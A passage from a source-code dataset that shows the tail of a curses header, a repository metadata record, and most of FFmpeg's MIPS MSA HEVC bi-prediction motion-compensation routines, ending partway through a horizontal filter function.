#define KEY_SREPLACE 0621 /* shifted replace key */
#define KEY_SRIGHT 0622 /* shifted right-arrow key */
#define KEY_SRSUME 0623 /* shifted resume key */
#define KEY_SSAVE 0624 /* shifted save key */
#define KEY_SSUSPEND 0625 /* shifted suspend key */
#define KEY_SUNDO 0626 /* shifted undo key */
#define KEY_SUSPEND 0627 /* suspend key */
#define KEY_UNDO 0630 /* undo key */
#define KEY_MOUSE 0631 /* Mouse event has occurred */
#define KEY_RESIZE 0632 /* Terminal resize event */
#define KEY_EVENT 0633 /* We were interrupted by an event */
#define KEY_MAX 0777 /* Maximum key value is 0633 */
#define A_NORMAL 0x0000
#define A_REVERSE 0x1000
#define A_BOLD 0x2000
#endif /* CURSES_H_ */
|
48fcc638d8f17bbf4bb282794b70e99b6012057f
|
88ae8695987ada722184307301e221e1ba3cc2fa
|
/third_party/ffmpeg/libavcodec/mips/hevc_mc_bi_msa.c
|
dac6a32ab426565fe6523694729cc9d21a2b05e0
|
[
"BSD-3-Clause",
"Apache-2.0",
"LGPL-2.0-or-later",
"MIT",
"GPL-1.0-or-later",
"LGPL-2.1-only",
"LGPL-3.0-only",
"GPL-2.0-only",
"LGPL-2.1-or-later",
"GPL-3.0-or-later",
"LGPL-3.0-or-later",
"IJG",
"LicenseRef-scancode-other-permissive",
"GPL-2.0-or-later",
"GPL-3.0-only"
] |
permissive
|
iridium-browser/iridium-browser
|
71d9c5ff76e014e6900b825f67389ab0ccd01329
|
5ee297f53dc7f8e70183031cff62f37b0f19d25f
|
refs/heads/master
| 2023-08-03T16:44:16.844552
| 2023-07-20T15:17:00
| 2023-07-23T16:09:30
| 220,016,632
| 341
| 40
|
BSD-3-Clause
| 2021-08-13T13:54:45
| 2019-11-06T14:32:31
| null |
UTF-8
|
C
| false
| false
| 211,209
|
c
|
hevc_mc_bi_msa.c
|
/*
* Copyright (c) 2015 - 2017 Manojkumar Bhosale (Manojkumar.Bhosale@imgtec.com)
*
* This file is part of FFmpeg.
*
* FFmpeg is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* FFmpeg is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with FFmpeg; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include "libavutil/mips/generic_macros_msa.h"
#include "libavcodec/mips/hevcdsp_mips.h"
#include "libavcodec/mips/hevc_macros_msa.h"
static const uint8_t ff_hevc_mask_arr[16 * 2] __attribute__((aligned(0x40))) = {
/* 8 width cases */
0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8,
0, 1, 1, 2, 2, 3, 3, 4, 16, 17, 17, 18, 18, 19, 19, 20
};
#define HEVC_BI_RND_CLIP2(in0, in1, vec0, vec1, rnd_val, out0, out1) \
{ \
ADDS_SH2_SH(vec0, in0, vec1, in1, out0, out1); \
SRARI_H2_SH(out0, out1, rnd_val); \
CLIP_SH2_0_255(out0, out1); \
}
#define HEVC_BI_RND_CLIP4(in0, in1, in2, in3, \
vec0, vec1, vec2, vec3, rnd_val, \
out0, out1, out2, out3) \
{ \
HEVC_BI_RND_CLIP2(in0, in1, vec0, vec1, rnd_val, out0, out1); \
HEVC_BI_RND_CLIP2(in2, in3, vec2, vec3, rnd_val, out2, out3); \
}
#define HEVC_BI_RND_CLIP2_MAX_SATU(in0, in1, vec0, vec1, rnd_val, \
out0, out1) \
{ \
ADDS_SH2_SH(vec0, in0, vec1, in1, out0, out1); \
SRARI_H2_SH(out0, out1, rnd_val); \
CLIP_SH2_0_255(out0, out1); \
}
#define HEVC_BI_RND_CLIP4_MAX_SATU(in0, in1, in2, in3, vec0, vec1, vec2, \
vec3, rnd_val, out0, out1, out2, out3) \
{ \
HEVC_BI_RND_CLIP2_MAX_SATU(in0, in1, vec0, vec1, rnd_val, out0, out1); \
HEVC_BI_RND_CLIP2_MAX_SATU(in2, in3, vec2, vec3, rnd_val, out2, out3); \
}
static void hevc_bi_copy_4w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
int32_t height)
{
uint32_t loop_cnt, tp0, tp1, tp2, tp3;
uint64_t tpd0, tpd1, tpd2, tpd3;
v16i8 src0 = { 0 }, src1 = { 0 };
v16i8 zero = { 0 };
v8i16 in0 = { 0 }, in1 = { 0 }, in2 = { 0 }, in3 = { 0 };
v8i16 dst0, dst1, dst2, dst3;
if (2 == height) {
LW2(src0_ptr, src_stride, tp0, tp1);
INSERT_W2_SB(tp0, tp1, src0);
LD2(src1_ptr, src2_stride, tpd0, tpd1);
INSERT_D2_SH(tpd0, tpd1, in0);
dst0 = (v8i16) __msa_ilvr_b(zero, src0);
dst0 <<= 6;
dst0 += in0;
dst0 = __msa_srari_h(dst0, 7);
CLIP_SH_0_255(dst0);
dst0 = (v8i16) __msa_pckev_b((v16i8) dst0, (v16i8) dst0);
ST_W2(dst0, 0, 1, dst, dst_stride);
} else if (4 == height) {
LW4(src0_ptr, src_stride, tp0, tp1, tp2, tp3);
INSERT_W4_SB(tp0, tp1, tp2, tp3, src0);
LD4(src1_ptr, src2_stride, tpd0, tpd1, tpd2, tpd3);
INSERT_D2_SH(tpd0, tpd1, in0);
INSERT_D2_SH(tpd2, tpd3, in1);
ILVRL_B2_SH(zero, src0, dst0, dst1);
SLLI_2V(dst0, dst1, 6);
HEVC_BI_RND_CLIP2_MAX_SATU(in0, in1, dst0, dst1, 7, dst0, dst1);
dst0 = (v8i16) __msa_pckev_b((v16i8) dst1, (v16i8) dst0);
ST_W4(dst0, 0, 1, 2, 3, dst, dst_stride);
} else if (0 == height % 8) {
for (loop_cnt = (height >> 3); loop_cnt--;) {
LW4(src0_ptr, src_stride, tp0, tp1, tp2, tp3);
src0_ptr += 4 * src_stride;
INSERT_W4_SB(tp0, tp1, tp2, tp3, src0);
LW4(src0_ptr, src_stride, tp0, tp1, tp2, tp3);
src0_ptr += 4 * src_stride;
INSERT_W4_SB(tp0, tp1, tp2, tp3, src1);
LD4(src1_ptr, src2_stride, tpd0, tpd1, tpd2, tpd3);
src1_ptr += (4 * src2_stride);
INSERT_D2_SH(tpd0, tpd1, in0);
INSERT_D2_SH(tpd2, tpd3, in1);
LD4(src1_ptr, src2_stride, tpd0, tpd1, tpd2, tpd3);
src1_ptr += (4 * src2_stride);
INSERT_D2_SH(tpd0, tpd1, in2);
INSERT_D2_SH(tpd2, tpd3, in3);
ILVRL_B2_SH(zero, src0, dst0, dst1);
ILVRL_B2_SH(zero, src1, dst2, dst3);
SLLI_4V(dst0, dst1, dst2, dst3, 6);
HEVC_BI_RND_CLIP4_MAX_SATU(in0, in1, in2, in3, dst0, dst1, dst2,
dst3, 7, dst0, dst1, dst2, dst3);
PCKEV_B2_SH(dst1, dst0, dst3, dst2, dst0, dst1);
ST_W8(dst0, dst1, 0, 1, 2, 3, 0, 1, 2, 3, dst, dst_stride);
dst += (8 * dst_stride);
}
}
}
static void hevc_bi_copy_6w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
int32_t height)
{
uint32_t loop_cnt;
uint64_t tp0, tp1, tp2, tp3;
int32_t res = height & 0x07;
v16u8 out0, out1, out2, out3;
v16i8 zero = { 0 };
v16i8 src0 = { 0 }, src1 = { 0 }, src2 = { 0 }, src3 = { 0 };
v8i16 in0, in1, in2, in3, in4, in5, in6, in7;
v8i16 dst0, dst1, dst2, dst3, dst4, dst5, dst6, dst7;
for (loop_cnt = (height >> 3); loop_cnt--;) {
LD4(src0_ptr, src_stride, tp0, tp1, tp2, tp3);
src0_ptr += (4 * src_stride);
INSERT_D2_SB(tp0, tp1, src0);
INSERT_D2_SB(tp2, tp3, src1);
LD4(src0_ptr, src_stride, tp0, tp1, tp2, tp3);
src0_ptr += (4 * src_stride);
INSERT_D2_SB(tp0, tp1, src2);
INSERT_D2_SB(tp2, tp3, src3);
LD_SH8(src1_ptr, src2_stride, in0, in1, in2, in3, in4, in5, in6, in7);
src1_ptr += (8 * src2_stride);
ILVRL_B2_SH(zero, src0, dst0, dst1);
ILVRL_B2_SH(zero, src1, dst2, dst3);
ILVRL_B2_SH(zero, src2, dst4, dst5);
ILVRL_B2_SH(zero, src3, dst6, dst7);
SLLI_4V(dst0, dst1, dst2, dst3, 6);
SLLI_4V(dst4, dst5, dst6, dst7, 6);
HEVC_BI_RND_CLIP4_MAX_SATU(in0, in1, in2, in3, dst0, dst1, dst2, dst3,
7, dst0, dst1, dst2, dst3);
HEVC_BI_RND_CLIP4_MAX_SATU(in4, in5, in6, in7, dst4, dst5, dst6, dst7,
7, dst4, dst5, dst6, dst7);
PCKEV_B2_UB(dst1, dst0, dst3, dst2, out0, out1);
PCKEV_B2_UB(dst5, dst4, dst7, dst6, out2, out3);
ST_W2(out0, 0, 2, dst, dst_stride);
ST_H2(out0, 2, 6, dst + 4, dst_stride);
ST_W2(out1, 0, 2, dst + 2 * dst_stride, dst_stride);
ST_H2(out1, 2, 6, dst + 2 * dst_stride + 4, dst_stride);
dst += (4 * dst_stride);
ST_W2(out2, 0, 2, dst, dst_stride);
ST_H2(out2, 2, 6, dst + 4, dst_stride);
ST_W2(out3, 0, 2, dst + 2 * dst_stride, dst_stride);
ST_H2(out3, 2, 6, dst + 2 * dst_stride + 4, dst_stride);
dst += (4 * dst_stride);
}
if (res) {
LD4(src0_ptr, src_stride, tp0, tp1, tp2, tp3);
src0_ptr += (4 * src_stride);
INSERT_D2_SB(tp0, tp1, src0);
INSERT_D2_SB(tp2, tp3, src1);
LD4(src0_ptr, src_stride, tp0, tp1, tp2, tp3);
INSERT_D2_SB(tp0, tp1, src2);
INSERT_D2_SB(tp2, tp3, src3);
LD_SH8(src1_ptr, src2_stride, in0, in1, in2, in3, in4, in5, in6, in7);
ILVRL_B2_SH(zero, src0, dst0, dst1);
ILVRL_B2_SH(zero, src1, dst2, dst3);
ILVRL_B2_SH(zero, src2, dst4, dst5);
ILVRL_B2_SH(zero, src3, dst6, dst7);
SLLI_4V(dst0, dst1, dst2, dst3, 6);
SLLI_4V(dst4, dst5, dst6, dst7, 6);
HEVC_BI_RND_CLIP4_MAX_SATU(in0, in1, in2, in3, dst0, dst1, dst2, dst3,
7, dst0, dst1, dst2, dst3);
HEVC_BI_RND_CLIP4_MAX_SATU(in4, in5, in6, in7, dst4, dst5, dst6, dst7,
7, dst4, dst5, dst6, dst7);
PCKEV_B2_UB(dst1, dst0, dst3, dst2, out0, out1);
PCKEV_B2_UB(dst5, dst4, dst7, dst6, out2, out3);
if (res == 2) {
ST_W2(out0, 0, 2, dst, dst_stride);
ST_H2(out0, 2, 6, dst + 4, dst_stride);
} else if (res == 4) {
ST_W2(out0, 0, 2, dst, dst_stride);
ST_H2(out0, 2, 6, dst + 4, dst_stride);
ST_W2(out1, 0, 2, dst + 2 * dst_stride, dst_stride);
ST_H2(out1, 2, 6, dst + 2 * dst_stride + 4, dst_stride);
} else {
ST_W2(out0, 0, 2, dst, dst_stride);
ST_H2(out0, 2, 6, dst + 4, dst_stride);
ST_W2(out1, 0, 2, dst + 2 * dst_stride, dst_stride);
ST_H2(out1, 2, 6, dst + 2 * dst_stride + 4, dst_stride);
dst += (4 * dst_stride);
ST_W2(out2, 0, 2, dst, dst_stride);
ST_H2(out2, 2, 6, dst + 4, dst_stride);
}
}
}
static void hevc_bi_copy_8w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
int32_t height)
{
uint64_t tp0, tp1, tp2, tp3;
v16u8 out0, out1, out2, out3;
v16i8 src0 = { 0 }, src1 = { 0 }, src2 = { 0 }, src3 = { 0 };
v16i8 zero = { 0 };
v8i16 in0, in1, in2, in3, in4, in5, in6, in7;
v8i16 dst0, dst1, dst2, dst3, dst4, dst5, dst6, dst7;
if (2 == height) {
LD2(src0_ptr, src_stride, tp0, tp1);
INSERT_D2_SB(tp0, tp1, src0);
LD_SH2(src1_ptr, src2_stride, in0, in1);
ILVRL_B2_SH(zero, src0, dst0, dst1);
SLLI_2V(dst0, dst1, 6);
HEVC_BI_RND_CLIP2_MAX_SATU(in0, in1, dst0, dst1, 7, dst0, dst1);
out0 = (v16u8) __msa_pckev_b((v16i8) dst1, (v16i8) dst0);
ST_D2(out0, 0, 1, dst, dst_stride);
} else if (4 == height) {
LD4(src0_ptr, src_stride, tp0, tp1, tp2, tp3);
INSERT_D2_SB(tp0, tp1, src0);
INSERT_D2_SB(tp2, tp3, src1);
ILVRL_B2_SH(zero, src0, dst0, dst1);
ILVRL_B2_SH(zero, src1, dst2, dst3);
LD_SH4(src1_ptr, src2_stride, in0, in1, in2, in3);
SLLI_4V(dst0, dst1, dst2, dst3, 6);
HEVC_BI_RND_CLIP4_MAX_SATU(in0, in1, in2, in3, dst0, dst1, dst2, dst3,
7, dst0, dst1, dst2, dst3);
PCKEV_B2_UB(dst1, dst0, dst3, dst2, out0, out1);
ST_D4(out0, out1, 0, 1, 0, 1, dst, dst_stride);
} else if (6 == height) {
LD4(src0_ptr, src_stride, tp0, tp1, tp2, tp3);
src0_ptr += 4 * src_stride;
INSERT_D2_SB(tp0, tp1, src0);
INSERT_D2_SB(tp2, tp3, src1);
LD2(src0_ptr, src_stride, tp0, tp1);
INSERT_D2_SB(tp0, tp1, src2);
ILVRL_B2_SH(zero, src0, dst0, dst1);
ILVRL_B2_SH(zero, src1, dst2, dst3);
ILVRL_B2_SH(zero, src2, dst4, dst5);
LD_SH6(src1_ptr, src2_stride, in0, in1, in2, in3, in4, in5);
SLLI_4V(dst0, dst1, dst2, dst3, 6);
SLLI_2V(dst4, dst5, 6);
HEVC_BI_RND_CLIP4_MAX_SATU(in0, in1, in2, in3, dst0, dst1, dst2, dst3,
7, dst0, dst1, dst2, dst3);
HEVC_BI_RND_CLIP2_MAX_SATU(in4, in5, dst4, dst5, 7, dst4, dst5);
PCKEV_B3_UB(dst1, dst0, dst3, dst2, dst5, dst4, out0, out1, out2);
ST_D4(out0, out1, 0, 1, 0, 1, dst, dst_stride);
ST_D2(out2, 0, 1, dst + 4 * dst_stride, dst_stride);
} else if (0 == height % 8) {
uint32_t loop_cnt;
for (loop_cnt = (height >> 3); loop_cnt--;) {
LD4(src0_ptr, src_stride, tp0, tp1, tp2, tp3);
src0_ptr += 4 * src_stride;
INSERT_D2_SB(tp0, tp1, src0);
INSERT_D2_SB(tp2, tp3, src1);
LD4(src0_ptr, src_stride, tp0, tp1, tp2, tp3);
src0_ptr += 4 * src_stride;
INSERT_D2_SB(tp0, tp1, src2);
INSERT_D2_SB(tp2, tp3, src3);
ILVRL_B2_SH(zero, src0, dst0, dst1);
ILVRL_B2_SH(zero, src1, dst2, dst3);
ILVRL_B2_SH(zero, src2, dst4, dst5);
ILVRL_B2_SH(zero, src3, dst6, dst7);
LD_SH8(src1_ptr, src2_stride, in0, in1, in2, in3, in4, in5, in6,
in7);
src1_ptr += (8 * src2_stride);
SLLI_4V(dst0, dst1, dst2, dst3, 6);
SLLI_4V(dst4, dst5, dst6, dst7, 6);
HEVC_BI_RND_CLIP4_MAX_SATU(in0, in1, in2, in3, dst0, dst1, dst2,
dst3, 7, dst0, dst1, dst2, dst3);
HEVC_BI_RND_CLIP4_MAX_SATU(in4, in5, in6, in7, dst4, dst5, dst6,
dst7, 7, dst4, dst5, dst6, dst7);
PCKEV_B2_UB(dst1, dst0, dst3, dst2, out0, out1);
PCKEV_B2_UB(dst5, dst4, dst7, dst6, out2, out3);
ST_D8(out0, out1, out2, out3, 0, 1, 0, 1, 0, 1, 0, 1, dst, dst_stride);
dst += (8 * dst_stride);
}
}
}
static void hevc_bi_copy_12w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
int32_t height)
{
uint32_t loop_cnt;
v16i8 zero = { 0 };
v16u8 out0, out1, out2;
v16i8 src0, src1, src2, src3;
v8i16 in0, in1, in2, in3, in4, in5, in6, in7;
v8i16 dst0, dst1, dst2, dst3, dst4, dst5;
for (loop_cnt = 4; loop_cnt--;) {
LD_SB4(src0_ptr, src_stride, src0, src1, src2, src3);
src0_ptr += (4 * src_stride);
LD_SH4(src1_ptr, src2_stride, in0, in1, in2, in3);
LD_SH4(src1_ptr + 8, src2_stride, in4, in5, in6, in7);
src1_ptr += (4 * src2_stride);
ILVR_D2_SH(in5, in4, in7, in6, in4, in5);
ILVR_B4_SH(zero, src0, zero, src1, zero, src2, zero, src3, dst0, dst1,
dst2, dst3);
SLLI_4V(dst0, dst1, dst2, dst3, 6);
ILVL_W2_SB(src1, src0, src3, src2, src0, src1);
ILVR_B2_SH(zero, src0, zero, src1, dst4, dst5);
SLLI_2V(dst4, dst5, 6);
HEVC_BI_RND_CLIP4_MAX_SATU(in0, in1, in2, in3, dst0, dst1, dst2, dst3,
7, dst0, dst1, dst2, dst3);
HEVC_BI_RND_CLIP2_MAX_SATU(in4, in5, dst4, dst5, 7, dst4, dst5);
PCKEV_B3_UB(dst1, dst0, dst3, dst2, dst5, dst4, out0, out1, out2);
ST_D4(out0, out1, 0, 1, 0, 1, dst, dst_stride);
ST_W4(out2, 0, 1, 2, 3, dst + 8, dst_stride);
dst += (4 * dst_stride);
}
}
static void hevc_bi_copy_16w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
int32_t height)
{
uint32_t loop_cnt;
v16u8 out0, out1, out2, out3;
v16i8 src0, src1, src2, src3;
v8i16 in0, in1, in2, in3, in4, in5, in6, in7;
v8i16 dst0_r, dst1_r, dst2_r, dst3_r, dst0_l, dst1_l, dst2_l, dst3_l;
v16i8 zero = { 0 };
for (loop_cnt = (height >> 2); loop_cnt--;) {
LD_SB4(src0_ptr, src_stride, src0, src1, src2, src3);
src0_ptr += (4 * src_stride);
LD_SH4(src1_ptr, src2_stride, in0, in1, in2, in3);
LD_SH4(src1_ptr + 8, src2_stride, in4, in5, in6, in7);
src1_ptr += (4 * src2_stride);
ILVRL_B2_SH(zero, src0, dst0_r, dst0_l);
ILVRL_B2_SH(zero, src1, dst1_r, dst1_l);
ILVRL_B2_SH(zero, src2, dst2_r, dst2_l);
ILVRL_B2_SH(zero, src3, dst3_r, dst3_l);
SLLI_4V(dst0_r, dst1_r, dst2_r, dst3_r, 6);
SLLI_4V(dst0_l, dst1_l, dst2_l, dst3_l, 6);
HEVC_BI_RND_CLIP4_MAX_SATU(in0, in1, in4, in5, dst0_r, dst1_r, dst0_l,
dst1_l, 7, dst0_r, dst1_r, dst0_l, dst1_l);
HEVC_BI_RND_CLIP4_MAX_SATU(in2, in3, in6, in7, dst2_r, dst3_r, dst2_l,
dst3_l, 7, dst2_r, dst3_r, dst2_l, dst3_l);
PCKEV_B2_UB(dst0_l, dst0_r, dst1_l, dst1_r, out0, out1);
PCKEV_B2_UB(dst2_l, dst2_r, dst3_l, dst3_r, out2, out3);
ST_UB4(out0, out1, out2, out3, dst, dst_stride);
dst += (4 * dst_stride);
}
}
static void hevc_bi_copy_24w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
int32_t height)
{
uint32_t loop_cnt;
v16u8 out0, out1, out2, out3, out4, out5;
v16i8 src0, src1, src2, src3, src4, src5, src6, src7, zero = { 0 };
v8i16 dst0, dst1, dst2, dst3, dst4, dst5, dst6, dst7, dst8, dst9, dst10;
v8i16 in0, in1, in2, in3, in4, in5, in6, in7, in8, in9, in10, in11, dst11;
for (loop_cnt = 8; loop_cnt--;) {
LD_SB4(src0_ptr, src_stride, src0, src1, src4, src5);
LD_SB4(src0_ptr + 16, src_stride, src2, src3, src6, src7);
src0_ptr += (4 * src_stride);
LD_SH4(src1_ptr, src2_stride, in0, in1, in2, in3);
LD_SH4(src1_ptr + 8, src2_stride, in4, in5, in6, in7);
LD_SH4(src1_ptr + 16, src2_stride, in8, in9, in10, in11);
src1_ptr += (4 * src2_stride);
ILVRL_B2_SH(zero, src0, dst0, dst1);
ILVRL_B2_SH(zero, src1, dst2, dst3);
ILVR_B2_SH(zero, src2, zero, src3, dst4, dst5);
ILVRL_B2_SH(zero, src4, dst6, dst7);
ILVRL_B2_SH(zero, src5, dst8, dst9);
ILVR_B2_SH(zero, src6, zero, src7, dst10, dst11);
SLLI_4V(dst0, dst1, dst2, dst3, 6);
SLLI_4V(dst4, dst5, dst6, dst7, 6);
SLLI_4V(dst8, dst9, dst10, dst11, 6);
HEVC_BI_RND_CLIP4_MAX_SATU(in0, in4, in1, in5, dst0, dst1, dst2, dst3,
7, dst0, dst1, dst2, dst3);
HEVC_BI_RND_CLIP4_MAX_SATU(in8, in9, in2, in6, dst4, dst5, dst6, dst7,
7, dst4, dst5, dst6, dst7);
HEVC_BI_RND_CLIP4_MAX_SATU(in3, in7, in10, in11, dst8, dst9, dst10,
dst11, 7, dst8, dst9, dst10, dst11);
PCKEV_B3_UB(dst1, dst0, dst3, dst2, dst5, dst4, out0, out1, out2);
PCKEV_B3_UB(dst7, dst6, dst9, dst8, dst11, dst10, out3, out4, out5);
ST_UB4(out0, out1, out3, out4, dst, dst_stride);
ST_D4(out2, out5, 0, 1, 0, 1, dst + 16, dst_stride);
dst += (4 * dst_stride);
}
}
static void hevc_bi_copy_32w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
int32_t height)
{
uint32_t loop_cnt;
v16u8 out0, out1, out2, out3;
v16i8 src0, src1, src2, src3;
v16i8 zero = { 0 };
v8i16 dst0, dst1, dst2, dst3, dst4, dst5, dst6, dst7;
v8i16 in0, in1, in2, in3, in4, in5, in6, in7;
for (loop_cnt = (height >> 1); loop_cnt--;) {
LD_SB2(src0_ptr, 16, src0, src1);
src0_ptr += src_stride;
LD_SB2(src0_ptr, 16, src2, src3);
src0_ptr += src_stride;
LD_SH4(src1_ptr, 8, in0, in1, in2, in3);
src1_ptr += src2_stride;
LD_SH4(src1_ptr, 8, in4, in5, in6, in7);
src1_ptr += src2_stride;
ILVRL_B2_SH(zero, src0, dst0, dst1);
ILVRL_B2_SH(zero, src1, dst2, dst3);
ILVRL_B2_SH(zero, src2, dst4, dst5);
ILVRL_B2_SH(zero, src3, dst6, dst7);
SLLI_4V(dst0, dst1, dst2, dst3, 6);
SLLI_4V(dst4, dst5, dst6, dst7, 6);
HEVC_BI_RND_CLIP4_MAX_SATU(in0, in1, in2, in3, dst0, dst1, dst2, dst3,
7, dst0, dst1, dst2, dst3);
HEVC_BI_RND_CLIP4_MAX_SATU(in4, in5, in6, in7, dst4, dst5, dst6, dst7,
7, dst4, dst5, dst6, dst7);
PCKEV_B2_UB(dst1, dst0, dst3, dst2, out0, out1);
PCKEV_B2_UB(dst5, dst4, dst7, dst6, out2, out3);
ST_UB2(out0, out1, dst, 16);
dst += dst_stride;
ST_UB2(out2, out3, dst, 16);
dst += dst_stride;
}
}
static void hevc_bi_copy_48w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
int32_t height)
{
uint32_t loop_cnt;
v16u8 out0, out1, out2, out3, out4, out5;
v16i8 src0, src1, src2, src3, src4, src5;
v16i8 zero = { 0 };
v8i16 dst0, dst1, dst2, dst3, dst4, dst5, dst6, dst7, dst8, dst9, dst10;
v8i16 in0, in1, in2, in3, in4, in5, in6, in7, in8, in9, in10, in11, dst11;
for (loop_cnt = (height >> 1); loop_cnt--;) {
LD_SB3(src0_ptr, 16, src0, src1, src2);
src0_ptr += src_stride;
LD_SB3(src0_ptr, 16, src3, src4, src5);
src0_ptr += src_stride;
LD_SH6(src1_ptr, 8, in0, in1, in2, in3, in4, in5);
src1_ptr += src2_stride;
LD_SH6(src1_ptr, 8, in6, in7, in8, in9, in10, in11);
src1_ptr += src2_stride;
ILVRL_B2_SH(zero, src0, dst0, dst1);
ILVRL_B2_SH(zero, src1, dst2, dst3);
ILVRL_B2_SH(zero, src2, dst4, dst5);
ILVRL_B2_SH(zero, src3, dst6, dst7);
ILVRL_B2_SH(zero, src4, dst8, dst9);
ILVRL_B2_SH(zero, src5, dst10, dst11);
SLLI_4V(dst0, dst1, dst2, dst3, 6);
SLLI_4V(dst4, dst5, dst6, dst7, 6);
SLLI_4V(dst8, dst9, dst10, dst11, 6);
HEVC_BI_RND_CLIP4_MAX_SATU(in0, in1, in2, in3, dst0, dst1, dst2, dst3,
7, dst0, dst1, dst2, dst3);
HEVC_BI_RND_CLIP4_MAX_SATU(in4, in5, in6, in7, dst4, dst5, dst6, dst7,
7, dst4, dst5, dst6, dst7);
HEVC_BI_RND_CLIP4_MAX_SATU(in8, in9, in10, in11, dst8, dst9, dst10,
dst11, 7, dst8, dst9, dst10, dst11);
PCKEV_B3_UB(dst1, dst0, dst3, dst2, dst5, dst4, out0, out1, out2);
PCKEV_B3_UB(dst7, dst6, dst9, dst8, dst11, dst10, out3, out4, out5);
ST_UB2(out0, out1, dst, 16);
ST_UB(out2, dst + 32);
dst += dst_stride;
ST_UB2(out3, out4, dst, 16);
ST_UB(out5, dst + 32);
dst += dst_stride;
}
}
static void hevc_bi_copy_64w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
int32_t height)
{
uint32_t loop_cnt;
v16u8 out0, out1, out2, out3;
v16i8 src0, src1, src2, src3;
v16i8 zero = { 0 };
v8i16 dst0, dst1, dst2, dst3, dst4, dst5, dst6, dst7;
v8i16 in0, in1, in2, in3, in4, in5, in6, in7;
for (loop_cnt = height; loop_cnt--;) {
LD_SB4(src0_ptr, 16, src0, src1, src2, src3);
src0_ptr += src_stride;
LD_SH8(src1_ptr, 8, in0, in1, in2, in3, in4, in5, in6, in7);
src1_ptr += src2_stride;
ILVRL_B2_SH(zero, src0, dst0, dst1);
ILVRL_B2_SH(zero, src1, dst2, dst3);
ILVRL_B2_SH(zero, src2, dst4, dst5);
ILVRL_B2_SH(zero, src3, dst6, dst7);
SLLI_4V(dst0, dst1, dst2, dst3, 6);
SLLI_4V(dst4, dst5, dst6, dst7, 6);
HEVC_BI_RND_CLIP4_MAX_SATU(in0, in1, in2, in3, dst0, dst1, dst2, dst3,
7, dst0, dst1, dst2, dst3);
HEVC_BI_RND_CLIP4_MAX_SATU(in4, in5, in6, in7, dst4, dst5, dst6, dst7,
7, dst4, dst5, dst6, dst7);
PCKEV_B2_UB(dst1, dst0, dst3, dst2, out0, out1);
PCKEV_B2_UB(dst5, dst4, dst7, dst6, out2, out3);
ST_UB4(out0, out1, out2, out3, dst, 16);
dst += dst_stride;
}
}
static void hevc_hz_bi_8t_4w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
uint32_t loop_cnt;
int32_t res = height & 0x07;
v8i16 filt0, filt1, filt2, filt3;
v16i8 src0, src1, src2, src3, src4, src5, src6, src7;
v16i8 mask1, mask2, mask3;
v16i8 vec0, vec1, vec2, vec3;
v8i16 dst0, dst1, dst2, dst3;
v8i16 in0, in1, in2, in3, in4, in5, in6, in7;
v8i16 filter_vec, const_vec;
v16i8 mask0 = LD_SB(&ff_hevc_mask_arr[16]);
src0_ptr -= 3;
/* rearranging filter */
filter_vec = LD_SH(filter);
SPLATI_H4_SH(filter_vec, 0, 1, 2, 3, filt0, filt1, filt2, filt3);
mask1 = mask0 + 2;
mask2 = mask0 + 4;
mask3 = mask0 + 6;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
for (loop_cnt = (height >> 3); loop_cnt--;) {
LD_SB8(src0_ptr, src_stride, src0, src1, src2, src3,
src4, src5, src6, src7);
src0_ptr += (8 * src_stride);
LD_SH8(src1_ptr, src2_stride, in0, in1, in2, in3, in4, in5, in6, in7);
src1_ptr += (8 * src2_stride);
ILVR_D2_SH(in1, in0, in3, in2, in0, in1);
ILVR_D2_SH(in5, in4, in7, in6, in2, in3);
XORI_B8_128_SB(src0, src1, src2, src3, src4, src5, src6, src7);
dst0 = const_vec;
dst1 = const_vec;
dst2 = const_vec;
dst3 = const_vec;
VSHF_B2_SB(src0, src1, src2, src3, mask0, mask0, vec0, vec1);
VSHF_B2_SB(src4, src5, src6, src7, mask0, mask0, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt0, filt0, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src1, src2, src3, mask1, mask1, vec0, vec1);
VSHF_B2_SB(src4, src5, src6, src7, mask1, mask1, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt1, filt1, filt1, filt1, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src1, src2, src3, mask2, mask2, vec0, vec1);
VSHF_B2_SB(src4, src5, src6, src7, mask2, mask2, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt2, filt2, filt2, filt2, dst0,
dst1, dst2, dst3);
